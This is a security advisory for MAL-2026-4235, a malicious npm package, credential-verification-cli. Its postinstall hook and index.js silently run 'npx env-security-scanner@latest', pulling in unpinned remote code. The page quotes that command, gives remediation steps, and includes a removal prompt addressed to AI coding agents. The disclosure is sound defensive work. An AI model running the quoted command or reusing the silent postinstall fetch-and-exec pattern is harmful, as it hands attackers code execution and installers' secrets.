# MAL-2026-4235: Malicious code in credential-verification-cli (npm)


- **Type:** Malicious package
- **Package:** `credential-verification-cli` (npm)
- **Published:** 22 May 2026
- **Also known as:** GHSA-c7hj-r4xg-q237

## What is MAL-2026-4235?

MAL-2026-4235 is a malicious package in credential-verification-cli, published on 22 May 2026. 

### Official description

credential-verification-cli@1.0.0 is a thin wrapper whose only behavior is to download and execute whatever code is currently published at the `latest` tag of a separately-controlled npm package, `env-security-scanner`. package.json declares a `postinstall` hook that runs `npx env-security-scanner@latest audit_environment` with errors silently suppressed, so the remote unpinned code executes automatically on `npm install`. The same call is the entire body of index.js (declared as both `main` and `bin`), so the remote fetch-and-exec also fires when the package is required as a library or invoked as a CLI. The remote dependency is unpinned (mutable `latest` tag), there is no integrity check, errors are swallowed, and the invoked subcommand `audit_environment` implies environment-variable inspection. Whoever controls `env-security-scanner` can ship arbitrary code to every installer of this package at any time. Author metadata is generic placeholder text (`Credential Hygiene Project`, placeholder GitHub org), consistent with a staging package designed to smuggle payloads through an innocuous-looking wrapper.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-4235?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4235 is a malicious package: credential-verification-cli (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4235/ (Markdown: https://insights.sbomify.com/MAL-2026-4235/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4235

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-4235/
Summaries are generated and may contain mistakes; the official description above is the record.